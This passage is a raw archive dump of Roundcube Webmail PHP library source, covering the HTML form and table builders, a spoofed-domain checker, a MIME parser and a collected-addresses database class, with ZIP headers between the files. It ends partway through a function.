            $this->type = $attrib['type'];
        }
    }

    /**
     * Compose input tag
     *
     * @param string $value  Field value
     * @param array  $attrib Additional attributes to override
     *
     * @return string HTML output
     */
    public function show($value = null, $attrib = null)
    {
        // overwrite object attributes
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        // set value attribute
        if ($value !== null) {
            $this->attrib['value'] = $value;
        }
        // set type
        $this->attrib['type'] = $this->type;

        return parent::show();
    }
}

/**
 * Class to create an HTML password field
 *
 * @package    Framework
 * @subpackage View
 */
class html_passwordfield extends html_inputfield
{
    protected $type = 'password';
}

/**
 * Class to create an hidden HTML input field
 *
 * @package    Framework
 * @subpackage View
 */
class html_hiddenfield extends html
{
    protected $tagname = 'input';
    protected $type    = 'hidden';
    protected $allowed = ['type','name','value','onchange','disabled','readonly'];
    protected $fields  = [];

    /**
     * Constructor
     *
     * @param array $attrib Named tag attributes
     */
    public function __construct($attrib = null)
    {
        if (is_array($attrib)) {
            $this->add($attrib);
        }
    }

    /**
     * Add a hidden field to this instance
     *
     * @param array $attrib Named tag attributes
     */
    public function add($attrib)
    {
        $this->fields[] = $attrib;
    }

    /**
     * Create HTML code for the hidden fields
     *
     * @return string Final HTML code
     */
    public function show()
    {
        $out = '';

        foreach ($this->fields as $attrib) {
            $out .= self::tag($this->tagname, ['type' => $this->type] + $attrib);
        }

        return $out;
    }
}

/**
 * Class to create HTML checkboxes
 *
 * @package    Framework
 * @subpackage View
 */
class html_checkbox extends html_inputfield
{
    protected $type = 'checkbox';

    /**
     * Get HTML code for this object
     *
     * @param string $value  Value of the checked field
     * @param array  $attrib Additional attributes to override
     *
     * @return string HTML output
     */
    public function show($value = '', $attrib = null)
    {
        // overwrite object attributes
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        // set 'checked' attribute
        $this->attrib['checked'] = (string) $value === (string) ($this->attrib['value'] ?? '');

        return parent::show();
    }
}

/**
 * Class to create HTML radio buttons
 *
 * @package    Framework
 * @subpackage View
 */
class html_radiobutton extends html_checkbox
{
    protected $type = 'radio';
}

/**
 * Class to create HTML button
 *
 * @package    Framework
 * @subpackage View
 */
class html_button extends html_inputfield
{
    protected $tagname = 'button';
    protected $type    = 'button';

    /**
     * Get HTML code for this object
     *
     * @param string $content Text Content of the button
     * @param array  $attrib  Additional attributes to override
     *
     * @return string HTML output
     */
    public function show($content = '', $attrib = null)
    {
        // overwrite object attributes
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        $this->content = $content;

        return parent::show();
    }
}

/**
 * Class to create an HTML textarea
 *
 * @package    Framework
 * @subpackage View
 */
class html_textarea extends html
{
    protected $tagname = 'textarea';
    protected $allowed = ['name','rows','cols','wrap','tabindex',
        'onchange','disabled','readonly','spellcheck'];

    /**
     * Get HTML code for this object
     *
     * @param string $value  Textbox value
     * @param array  $attrib Additional attributes to override
     *
     * @return string HTML output
     */
    public function show($value = '', $attrib = null)
    {
        // overwrite object attributes
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        // take value attribute as content
        if (empty($value) && !empty($this->attrib['value'])) {
            $value = $this->attrib['value'];
        }

        // make shure we don't print the value attribute
        if (isset($this->attrib['value'])) {
            unset($this->attrib['value']);
        }

        if (!empty($value) && empty($this->attrib['is_escaped'])) {
            $value = self::quote($value);
        }

        return self::tag($this->tagname, $this->attrib, $value,
            array_merge(self::$common_attrib, $this->allowed));
    }
}

/**
 * Builder for HTML drop-down menus
 * Syntax:<pre>
 * // create instance. arguments are used to set attributes of select-tag
 * $select = new html_select(['name' => 'fieldname']);
 *
 * // add one option
 * $select->add('Switzerland', 'CH');
 *
 * // add multiple options
 * $select->add(['Switzerland','Germany'], ['CH','DE']);
 *
 * // generate pulldown with selection 'Switzerland'  and return html-code
 * // as second argument the same attributes available to instantiate can be used
 * print $select->show('CH');
 * </pre>
 *
 * @package    Framework
 * @subpackage View
 */
class html_select extends html
{
    protected $tagname = 'select';
    protected $options = [];
    protected $allowed = ['name','size','tabindex','autocomplete',
        'multiple','onchange','disabled','rel'];

    /**
     * Add a new option to this drop-down
     *
     * @param mixed $names  Option name or array with option names
     * @param mixed $values Option value or array with option values
     * @param array $attrib Additional attributes for the option entry
     */
    public function add($names, $values = null, $attrib = [])
    {
        if (is_array($names)) {
            foreach ($names as $i => $text) {
                $this->options[] = [
                    'text'  => $text,
                    'value' => $values[$i] ?? $i
                ] + $attrib;
            }
        }
        else {
            $this->options[] = ['text' => $names, 'value' => $values] + $attrib;
        }
    }

    /**
     * Get HTML code for this object
     *
     * @param string $select Value of the selection option
     * @param array  $attrib Additional attributes to override
     *
     * @return string HTML output
     */
    public function show($select = [], $attrib = null)
    {
        // overwrite object attributes
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        $this->content = "\n";
        $select = (array) $select;
        foreach ($this->options as $option) {
            $attr = [
                'value' => $option['value'],
                'selected' => (in_array($option['value'], $select, true) ||
                    in_array($option['text'], $select, true)) ? 1 : null
            ];

            $option_content = $option['text'];
            if (empty($this->attrib['is_escaped'])) {
                $option_content = self::quote($option_content);
            }

            $allowed = ['value','label','class','style','title','disabled','selected'];

            $this->content .= self::tag('option', $attr + $option, $option_content, $allowed);
        }

        return parent::show();
    }
}

/**
 * Class to build an HTML table
 *
 * @package    Framework
 * @subpackage View
 */
class html_table extends html
{
    protected $tagname = 'table';
    protected $allowed = ['id','class','style','width','summary',
        'cellpadding','cellspacing','border'];

    private $header   = null;
    private $rows     = [];
    private $rowindex = 0;
    private $colindex = 0;

    /**
     * Constructor
     *
     * @param array $attrib Named tag attributes
     */
    public function __construct($attrib = [])
    {
        $default_attrib = self::$doctype == 'xhtml' ? ['border' => '0'] : [];
        $this->attrib   = array_merge($attrib, $default_attrib);

        if (!empty($attrib['tagname']) && $attrib['tagname'] != 'table') {
          $this->tagname = $attrib['tagname'];
          $this->allowed = self::$common_attrib;
        }
    }

    /**
     * Add a table cell
     *
     * @param array  $attr Cell attributes
     * @param string $cont Cell content
     */
    public function add($attr, $cont)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        $cell = new stdClass;
        $cell->attrib  = $attr;
        $cell->content = $cont;

        if (!isset($this->rows[$this->rowindex])) {
            $this->rows[$this->rowindex] = new stdClass;
            $this->rows[$this->rowindex]->attrib = [];
        }

        $this->rows[$this->rowindex]->cells[$this->colindex] = $cell;
        $this->colindex += max(1, isset($attr['colspan']) ? intval($attr['colspan']) : 0);

        if (!empty($this->attrib['cols']) && $this->colindex >= $this->attrib['cols']) {
            $this->add_row();
        }
    }

    /**
     * Add a table header cell
     *
     * @param string|array $attr Cell attributes array or class name
     * @param string       $cont Cell content
     */
    public function add_header($attr, $cont)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        $cell = new stdClass;
        $cell->attrib  = $attr;
        $cell->content = $cont;

        if (empty($this->header)) {
            $this->header = new stdClass;
            $this->header->attrib = [];
        }

        $this->header->cells[] = $cell;
    }

    /**
     * Remove a column from a table
     * Useful for plugins making alterations
     *
     * @param string $class Class name
     */
    public function remove_column($class)
    {
        // Remove the header
        foreach ($this->header->cells as $index => $header) {
            if ($header->attrib['class'] == $class) {
                unset($this->header[$index]);
                break;
            }
        }

        // Remove cells from rows
        foreach ($this->rows as $i => $row) {
            foreach ($row->cells as $j => $cell) {
                if ($cell->attrib['class'] == $class) {
                    unset($this->rows[$i]->cells[$j]);
                    break;
                }
            }
        }
    }

    /**
     * Jump to next row
     *
     * @param array $attr Row attributes
     */
    public function add_row($attr = [])
    {
        $this->rowindex++;
        $this->colindex = 0;
        $this->rows[$this->rowindex] = new stdClass;
        $this->rows[$this->rowindex]->attrib = $attr;
        $this->rows[$this->rowindex]->cells  = [];
    }

    /**
     * Set header attributes
     *
     * @param string|array $attr Row attributes array or class name
     */
    public function set_header_attribs($attr = [])
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        if (empty($this->header)) {
            $this->header = new stdClass;
        }

        $this->header->attrib = $attr;
    }

    /**
     * Set row attributes
     *
     * @param string|array $attr  Row attributes array or class name
     * @param int          $index Optional row index (default current row index)
     */
    public function set_row_attribs($attr = [], $index = null)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        if ($index === null) {
            $index = $this->rowindex;
        }

        // make sure row object exists (#1489094)
        if (empty($this->rows[$index])) {
            $this->rows[$index] = new stdClass;
        }

        $this->rows[$index]->attrib = $attr;
    }

    /**
     * Get row attributes
     *
     * @param int $index Row index
     *
     * @return array Row attributes
     */
    public function get_row_attribs($index = null)
    {
        if ($index === null) {
            $index = $this->rowindex;
        }

        return !empty($this->rows[$index]) ? $this->rows[$index]->attrib : null;
    }

    /**
     * Build HTML output of the table data
     *
     * @param array $attrib Table attributes
     *
     * @return string The final table HTML code
     */
    public function show($attrib = null)
    {
        if (is_array($attrib)) {
            $this->attrib = array_merge($this->attrib, $attrib);
        }

        $thead        = '';
        $tbody        = '';
        $col_tagname  = $this->_col_tagname();
        $row_tagname  = $this->_row_tagname();
        $head_tagname = $this->_head_tagname();

        // include <thead>
        if (!empty($this->header)) {
            $rowcontent = '';
            foreach ($this->header->cells as $c => $col) {
                $rowcontent .= self::tag($head_tagname, $col->attrib, $col->content);
            }
            $thead = $this->tagname == 'table' ? self::tag('thead', null, self::tag('tr', $this->header->attrib ?: null, $rowcontent, parent::$common_attrib)) :
                self::tag($row_tagname, ['class' => 'thead'], $rowcontent, parent::$common_attrib);
        }

        foreach ($this->rows as $r => $row) {
            $rowcontent = '';
            foreach ($row->cells as $c => $col) {
                if ($row_tagname == 'li' && empty($col->attrib) && count($row->cells) == 1) {
                    $rowcontent .= $col->content;
                }
                else {
                    $rowcontent .= self::tag($col_tagname, $col->attrib, $col->content);
                }
            }

            if ($r < $this->rowindex || count($row->cells)) {
                $tbody .= self::tag($row_tagname, $row->attrib, $rowcontent, parent::$common_attrib);
            }
        }

        if (!empty($this->attrib['rowsonly'])) {
            return $tbody;
        }

        // add <tbody>
        $this->content = $thead . ($this->tagname == 'table' ? self::tag('tbody', null, $tbody) : $tbody);

        unset($this->attrib['cols'], $this->attrib['rowsonly']);

        return parent::show();
    }

    /**
     * Count number of rows
     *
     * @return int The number of rows
     */
    public function size()
    {
        return count($this->rows);
    }

    /**
     * Remove table body (all rows)
     */
    public function remove_body()
    {
        $this->rows     = [];
        $this->rowindex = 0;
    }

    /**
     * Getter for the corresponding tag name for table row elements
     */
    private function _row_tagname()
    {
        static $row_tagnames = ['table' => 'tr', 'ul' => 'li', '*' => 'div'];
        return !empty($row_tagnames[$this->tagname]) ? $row_tagnames[$this->tagname] : $row_tagnames['*'];
    }

    /**
     * Getter for the corresponding tag name for table row elements
     */
    private function _head_tagname()
    {
        static $head_tagnames = ['table' => 'th', '*' => 'span'];
        return !empty($head_tagnames[$this->tagname]) ? $head_tagnames[$this->tagname] : $head_tagnames['*'];
    }

    /**
     * Getter for the corresponding tag name for table cell elements
     */
    private function _col_tagname()
    {
        static $col_tagnames = ['table' => 'td', '*' => 'span'];
        return !empty($col_tagnames[$this->tagname]) ? $col_tagnames[$this->tagname] : $col_tagnames['*'];
    }
}
PK
h�\!#)�
�
,program/lib/Roundcube/rcube_spoofchecker.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   E-mail/Domain name spoofing detection                               |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Helper class for spoofing detection.
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spoofchecker
{
    /** @var array In-memory cache of checked domains */
    protected static $results = [];

    /**
     * Detects (potential) spoofing in an e-mail address or a domain.
     *
     * @param string $domain Email address or domain (UTF8 not punycode)
     *
     * @return bool True if spoofed/suspicious, False otherwise
     */
    public static function check($domain)
    {
        if (($pos = strrpos($domain, '@')) !== false) {
            $domain = substr($domain, $pos + 1);
        }

        if (isset(self::$results[$domain])) {
            return self::$results[$domain];
        }

        // Spoofchecker is part of ext-intl (requires ICU >= 4.2)
        try {
            $checker = new Spoofchecker();

            // Note: The constant (and method?) added in PHP 7.3.0
            if (defined('Spoofchecker::HIGHLY_RESTRICTIVE')) {
                $checker->setRestrictionLevel(Spoofchecker::HIGHLY_RESTRICTIVE);
            }
            else {
                $checker->setChecks(Spoofchecker::SINGLE_SCRIPT | Spoofchecker::INVISIBLE);
            }

            $result = $checker->isSuspicious($domain);
        }
        catch (Throwable $e) {
            rcube::raise_error($e, true);
            $result = false;
        }

        // TODO: Use areConfusable() to detect ascii-spoofing of some domains, e.g. paypa1.com?
        // TODO: Domains with non-printable characters should be considered spoofed

        return self::$results[$domain] = $result;
    }
}
PK
h�\N��{�9�9+program/lib/Roundcube/rcube_mime_decode.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   MIME message parsing utilities derived from Mail_mimeDecode         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Richard Heyes <richard@phpguru.org>                           |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for parsing MIME messages
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_mime_decode
{
    /**
     * Class configuration parameters.
     *
     * @var array
     */
    protected $params = [
        'include_bodies'  => true,
        'decode_bodies'   => true,
        'decode_headers'  => true,
        'crlf'            => "\r\n",
        'default_charset' => RCUBE_CHARSET,
    ];


    /**
     * Constructor.
     *
     * Sets up the object, initialize the variables, and splits and
     * stores the header and body of the input.
     *
     * @param array $params An array of various parameters that determine
     *                       various things:
     *              include_bodies - Whether to include the body in the returned
     *                               object.
     *              decode_bodies  - Whether to decode the bodies
     *                               of the parts. (Transfer encoding)
     *              decode_headers - Whether to decode headers
     *              crlf           - CRLF type to use (CRLF/LF/CR)
     */
    public function __construct($params = [])
    {
        if (!empty($params)) {
            $this->params = array_merge($this->params, (array) $params);
        }
    }

    /**
     * Performs the decoding process.
     *
     * @param string $input   The input to decode
     * @param bool   $convert Convert result to rcube_message_part structure
     *
     * @return object|bool Decoded results or False on failure
     */
    public function decode($input, $convert = true)
    {
        list($header, $body) = $this->splitBodyHeader($input);

        $struct = $this->do_decode($header, $body);

        if ($struct && $convert) {
            $struct = $this->structure_part($struct);
        }

        if ($struct) {
            $struct->size = strlen($input);
        }

        return $struct;
    }

    /**
     * Performs the decoding. Decodes the body string passed to it
     * If it finds certain content-types it will call itself in a
     * recursive fashion
     *
     * @param string $headers       Header section
     * @param string $body          Body section
     * @param string $default_ctype Default content type
     *
     * @return object|bool Decoded results or False on error
     */
    protected function do_decode($headers, $body, $default_ctype = 'text/plain')
    {
        $return  = new rcube_message_part;
        $headers = $this->parseHeaders($headers);

        foreach ($headers as $value) {
            $header_name = strtolower($value['name']);

            if (isset($return->headers[$header_name]) && !is_array($return->headers[$header_name])) {
                $return->headers[$header_name]   = [$return->headers[$header_name]];
                $return->headers[$header_name][] = $value['value'];
            }
            else if (isset($return->headers[$header_name])) {
                $return->headers[$header_name][] = $value['value'];
            }
            else {
                $return->headers[$header_name] = $value['value'];
            }

            switch ($header_name) {
            case 'content-type':
                $content_type = $this->parseHeaderValue($value['value']);

                if (preg_match('/([0-9a-z+.-]+)\/([0-9a-z+.-]+)/i', $content_type['value'], $regs)) {
                    $return->ctype_primary   = $regs[1];
                    $return->ctype_secondary = $regs[2];
                }

                if (!empty($content_type['other'])) {
                    $return->ctype_parameters = array_merge((array) $return->ctype_parameters, (array) $content_type['other']);
                }

                break;

            case 'content-disposition';
                $content_disposition = $this->parseHeaderValue($value['value']);
                $return->disposition = $content_disposition['value'];

                if (!empty($content_disposition['other'])) {
                    $return->d_parameters = array_merge((array) $return->d_parameters, (array) $content_disposition['other']);
                }

                break;

            case 'content-transfer-encoding':
                $content_transfer_encoding = $this->parseHeaderValue($value['value']);
                break;
            }
        }

        if (isset($content_type)) {
            $ctype = strtolower($content_type['value']);

            switch ($ctype) {
            case 'text/plain':
                $encoding = $content_transfer_encoding['value'] ?? '7bit';

                if ($this->params['include_bodies']) {
                    $return->body = $this->params['decode_bodies'] ? rcube_mime::decode($body, $encoding) : $body;
                }

                break;

            case 'text/html':
                $encoding = $content_transfer_encoding['value'] ?? '7bit';

                if ($this->params['include_bodies']) {
                    $return->body = $this->params['decode_bodies'] ? rcube_mime::decode($body, $encoding) : $body;
                }

                break;

            case 'multipart/digest':
            case 'multipart/alternative':
            case 'multipart/related':
            case 'multipart/mixed':
            case 'multipart/signed':
            case 'multipart/encrypted':
                if (!isset($content_type['other']['boundary'])) {
                    return false;
                }

                $default_ctype = $ctype === 'multipart/digest' ? 'message/rfc822' : 'text/plain';
                $parts         = $this->boundarySplit($body, $content_type['other']['boundary']);

                for ($i = 0; $i < count($parts); $i++) {
                    list($part_header, $part_body) = $this->splitBodyHeader($parts[$i]);
                    $return->parts[] = $this->do_decode($part_header, $part_body, $default_ctype);
                }

                break;

            case 'message/rfc822':
                $obj = new rcube_mime_decode($this->params);
                $return->parts[] = $obj->decode($body, false);
                unset($obj);

                if ($this->params['include_bodies']) {
                    $return->body = $this->params['decode_bodies'] ? rcube_mime::decode($body) : $body;
                }

                break;

            default:
                if ($this->params['include_bodies']) {
                    $encoding = !empty($content_transfer_encoding['value']) ? $content_transfer_encoding['value'] : '7bit';
                    $return->body = $this->params['decode_bodies'] ? rcube_mime::decode($body, $encoding) : $body;
                }

                break;
            }
        }
        else {
            $ctype = explode('/', $default_ctype);
            $return->ctype_primary   = $ctype[0];
            $return->ctype_secondary = $ctype[1];

            if ($this->params['include_bodies']) {
                $return->body = $this->params['decode_bodies'] ? rcube_mime::decode($body) : $body;
            }
        }

        return $return;
    }

    /**
     * Given a string containing a header and body
     * section, this function will split them (at the first
     * blank line) and return them.
     *
     * @param string $input Input to split apart
     *
     * @return array Contains header and body section
     */
    protected function splitBodyHeader($input)
    {
        $pos = strpos($input, $this->params['crlf'] . $this->params['crlf']);
        if ($pos === false) {
            return false;
        }

        $crlf_len = strlen($this->params['crlf']);
        $header   = substr($input, 0, $pos);
        $body     = substr($input, $pos + 2 * $crlf_len);

        if (substr_compare($body, $this->params['crlf'], -$crlf_len) === 0) {
            $body = substr($body, 0, -$crlf_len);
        }

        return [$header, $body];
    }

    /**
     * Parse headers given in $input and return as assoc array.
     *
     * @param string $input Headers to parse
     *
     * @return array Contains parsed headers
     */
    protected function parseHeaders($input)
    {
        $return = [];

        if ($input !== '') {
            // Unfold the input
            $input   = preg_replace('/' . $this->params['crlf'] . "(\t| )/", ' ', $input);
            $headers = explode($this->params['crlf'], trim($input));

            foreach ($headers as $value) {
                $hdr_name  = substr($value, 0, $pos = strpos($value, ':'));
                $hdr_value = substr($value, $pos + 1);

                if (isset($hdr_value[0]) && $hdr_value[0] == ' ') {
                    $hdr_value = substr($hdr_value, 1);
                }

                $return[] = [
                    'name'  => $hdr_name,
                    'value' => $this->params['decode_headers'] ? $this->decodeHeader($hdr_value) : $hdr_value,
                ];
            }
        }

        return $return;
    }

    /**
     * Function to parse a header value, extract first part, and any secondary
     * parts (after ;) This function is not as robust as it could be.
     * Eg. header comments in the wrong place will probably break it.
     *
     * @param string $input Header value to parse
     *
     * @return array Contains parsed result
     */
    protected function parseHeaderValue($input)
    {
        $parts  = preg_split('/;\s*/', $input);
        $return = [];

        if (!empty($parts)) {
            $return['value'] = trim($parts[0]);

            for ($n = 1; $n < count($parts); $n++) {
                if (preg_match('/^([[:alnum:]]+)="?([^"]*)"?+/', $parts[$n], $matches)) {
                    $return['other'][strtolower($matches[1])] = $matches[2];
                }
                // Support RFC2231 encoding
                else if (preg_match('/^([[:alnum:]]+)\*([0-9]*)\*?="*([^"]+)"*/', $parts[$n], $matches)) {
                    $key = strtolower($matches[1]);
                    $val = $matches[3];

                    if (preg_match("/^(([^']*)'[^']*')/", $val, $m)) {
                        $val = rawurldecode(substr($val, strlen($m[0])));
                    }

                    if (isset($return['other'][$key])) {
                        $return['other'][$key] .= $val;
                    }
                    else {
                        $return['other'][$key] = $val;
                    }
                }
            }
        }
        else {
            $return['value'] = trim($input);
        }

        return $return;
    }

    /**
     * This function splits the input based on the given boundary
     *
     * @param string $input    Input to parse
     * @param string $boundary Boundary
     *
     * @return array Contains array of resulting mime parts
     */
    protected function boundarySplit($input, $boundary)
    {
        $tmp   = explode('--' . $boundary, $input);
        $parts = [];

        for ($i = 1; $i < count($tmp)-1; $i++) {
            $parts[] = $tmp[$i];
        }

        return $parts;
    }

    /**
     * Given a header, this function will decode it according to RFC2047.
     * Probably not *exactly* conformant, but it does pass all the given
     * examples (in RFC2047).
     *
     * @param string $input Input header value to decode
     *
     * @return string Decoded header value
     */
    protected function decodeHeader($input)
    {
        return rcube_mime::decode_mime_string($input, $this->params['default_charset']);
    }

    /**
     * Recursive method to convert a rcube_mime_decode structure
     * into a rcube_message_part object.
     *
     * @param object $part   A message part struct
     * @param int    $count  Part count
     * @param string $parent Parent MIME ID
     *
     * @return object rcube_message_part
     * @see self::decode()
     */
    protected function structure_part($part, $count = 0, $parent = '')
    {
        $struct = new rcube_message_part;
        $struct->mime_id          = $part->mime_id ?: (empty($parent) ? (string)$count : "$parent.$count");
        $struct->headers          = $part->headers;
        $struct->mimetype         = $part->ctype_primary . '/' . $part->ctype_secondary;
        $struct->ctype_primary    = $part->ctype_primary;
        $struct->ctype_secondary  = $part->ctype_secondary;
        $struct->ctype_parameters = $part->ctype_parameters;

        if (!empty($part->headers['content-transfer-encoding'])) {
            $struct->encoding = $part->headers['content-transfer-encoding'];
        }

        if (!empty($part->ctype_parameters['charset'])) {
            $struct->charset = $part->ctype_parameters['charset'];
        }

        // determine filename
        if (!empty($part->d_parameters['filename'])) {
            $filename = $part->d_parameters['filename'];
        }
        else if (!empty($part->ctype_parameters['name'])) {
            $filename = $part->ctype_parameters['name'];
        }

        if (!empty($filename)) {
            if (empty($this->params['decode_headers'])) {
                $filename = $this->decodeHeader($filename);
            }

            $struct->filename = $filename;
        }

        $struct->body        = $part->body;
        $struct->size        = is_string($part->body) ? strlen($part->body) : 0;
        $struct->disposition = $part->disposition;

        $count = 0;
        foreach ((array) $part->parts as $child_part) {
            $struct->parts[] = $this->structure_part($child_part, ++$count, $struct->mime_id);
        }

        return $struct;
    }
}
PK
h�\a֛
�4�4)program/lib/Roundcube/rcube_addresses.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Interface to the collected addresses database                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Collected addresses database
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_addresses extends rcube_contacts
{
    protected $db_name       = 'collected_addresses';
    protected $type          = 0;
    protected $table_cols    = ['name', 'email'];
    protected $fulltext_cols = ['name'];

    // public properties
    public $primary_key = 'address_id';
    public $readonly    = true;
    public $groups      = false;
    public $undelete    = false;
    public $deletable   = true;
    public $coltypes    = ['name', 'email'];
    public $date_cols   = [];


    /**
     * Object constructor
     *
     * @param object $dbconn Instance of the rcube_db class
     * @param int    $user   User-ID
     * @param int    $type   Type of the address (1 - recipient, 2 - trusted sender)
     */
    public function __construct($dbconn, $user, $type)
    {
        $this->db      = $dbconn;
        $this->user_id = $user;
        $this->type    = $type;
        $this->ready   = $this->db && !$this->db->is_error();
    }

    /**
     * Returns addressbook name
     *
     * @return string
     */
    public function get_name()
    {
        if ($this->type == self::TYPE_RECIPIENT) {
            return rcube::get_instance()->gettext('collectedrecipients');
        }

        if ($this->type == self::TYPE_TRUSTED_SENDER) {
            return rcube::get_instance()->gettext('trustedsenders');
        }

        return '';
    }

    /**
     * List the current set of contact records
     *
     * @param  array $cols    List of cols to show, Null means all
     * @param  int   $subset  Only return this number of records, use negative values for tail
     * @param  bool  $nocount True to skip the count query (select only)
     *
     * @return array Indexed list of contact records, each a hash array
     */
    public function list_records($cols = null, $subset = 0, $nocount = false)
    {
        if ($nocount || $this->list_page <= 1) {
            // create dummy result, we don't need a count now
            $this->result = new rcube_result_set();
        }
        else {
            // count all records
            $this->result = $this->count();
        }

        $start_row  = $subset < 0 ? $this->result->first + $this->page_size + $subset : $this->result->first;
        $length     = $subset != 0 ? abs($subset) : $this->page_size;

        $sql_result = $this->db->limitquery(
            "SELECT * FROM " . $this->db->table_name($this->db_name, true)
            . " WHERE `user_id` = ? AND `type` = ?"
            . ($this->filter ? " AND ".$this->filter : "")
            . " ORDER BY `name` " . $this->sort_order . ", `email` " . $this->sort_order,
            $start_row,
            $length,
            $this->user_id,
            $this->type
        );

        while ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $sql_arr['ID'] = $sql_arr[$this->primary_key];
            $this->result->add($sql_arr);
        }

        $cnt = count($this->result->records);

        // update counter
        if ($nocount) {
            $this->result->count = $cnt;
        }
        else if ($this->list_page <= 1) {
            if ($cnt < $this->page_size && $subset == 0) {
                $this->result->count = $cnt;
            }
            else if (isset($this->cache['count'])) {
                $this->result->count = $this->cache['count'];
            }
            else {
                $this->result->count = $this->_count();
            }
        }

        return $this->result;
    }

    /**
     * Search contacts
     *
     * @param mixed $fields   The field name or array of field names to search in
     * @param mixed $value    Search value (or array of values when $fields is array)
     * @param int   $mode     Search mode. Sum of rcube_addressbook::SEARCH_*
     * @param bool  $select   True if results are requested, False if count only
     * @param bool  $nocount  True to skip the count query (select only)
     * @param array $required List of fields that cannot be empty
     *
     * @return rcube_result_set Contact records and 'count' value
     */
    public function search($fields, $value, $mode = 0, $select = true, $nocount = false, $required = [])
    {
        if (!is_array($required) && !empty($required)) {
            $required = [$required];
        }

        $where = $post_search = [];
        $mode  = intval($mode);

        // direct ID search
        if ($fields == 'ID' || $fields == $this->primary_key) {
            $ids     = !is_array($value) ? explode(self::SEPARATOR, $value) : $value;
            $ids     = $this->db->array2list($ids, 'integer');
            $where[] = $this->primary_key . ' IN (' . $ids . ')';
        }
        else if (is_array($value)) {
            foreach ((array) $fields as $idx => $col) {
                $val = $value[$idx];

                if (!strlen($val)) {
                    continue;
                }

                // table column
                if ($col == 'email' && ($mode & rcube_addressbook::SEARCH_STRICT)) {
                    $where[] = $this->db->ilike($col, $val);
                }
                else if (in_array($col, $this->table_cols)) {
                    $where[] = $this->fulltext_sql_where($val, $mode, $col);
                }
                else {
                    $where[] = '1 = 0'; // unsupported column
                }
            }
        }
        else {
            // fulltext search in all fields
            if ($fields == '*') {
                $fields = ['name', 'email'];
            }

            // require each word in to be present in one of the fields
            $words = ($mode & rcube_addressbook::SEARCH_STRICT) ? [$value] : rcube_utils::tokenize_string($value, 1);
            foreach ($words as $word) {
                $groups = [];
                foreach ((array) $fields as $idx => $col) {
                    if ($col == 'email' && ($mode & rcube_addressbook::SEARCH_STRICT)) {
                        $groups[] = $this->db->ilike($col, $word);
                    }
                    else if (in_array($col, $this->table_cols)) {
                        $groups[] = $this->fulltext_sql_where($word, $mode, $col);
                    }
                }
                $where[] = '(' . implode(' OR ', $groups) . ')';
            }
        }

        foreach (array_intersect($required, $this->table_cols) as $col) {
            $where[] = $this->db->quote_identifier($col) . ' <> ' . $this->db->quote('');
        }

        if (!empty($where)) {
            // use AND operator for advanced searches
            $where = implode(' AND ', $where);

            $this->set_search_set($where);

            if ($select) {
                $this->list_records(null, 0, $nocount);
            }
            else {
                $this->result = $this->count();
            }
        }
        else {
            $this->result = new rcube_result_set();
        }

        return $this->result;
    }

    /**
     * Count number of available contacts in database
     *
     * @return int Contacts count
     */
    protected function _count()
    {
        // count contacts for this user
        $sql_result = $this->db->query(
            "SELECT COUNT(`address_id`) AS cnt"
            . " FROM " . $this->db->table_name($this->db_name, true)
            . " WHERE `user_id` = ? AND `type` = ?"
            . ($this->filter ? " AND (" . $this->filter . ")" : ""),
            $this->user_id,
            $this->type
        );

        $sql_arr = $this->db->fetch_assoc($sql_result);

        $this->cache['count'] = (int) $sql_arr['cnt'];

        return $this->cache['count'];
    }

    /**
     * Get a specific contact record
     *
     * @param mixed $id    Record identifier(s)
     * @param bool  $assoc Enables returning associative array
     *
     * @return rcube_result_set|array Result object with all record fields
     */
    function get_record($id, $assoc = false)
    {
        // return cached result
        if ($this->result && ($first = $this->result->first()) && $first[$this->primary_key] == $id) {
            return $assoc ? $first : $this->result;
        }

        $this->db->query(
            "SELECT * FROM " . $this->db->table_name($this->db_name, true)
            . " WHERE `address_id` = ? AND `user_id` = ?",
            $id,
            $this->user_id
        );

        $this->result = null;

        if ($record = $this->db->fetch_assoc()) {
            $record['ID'] = $record['address_id'];
            $this->result = new rcube_result_set(1);
            $this->result->add($record);
        }

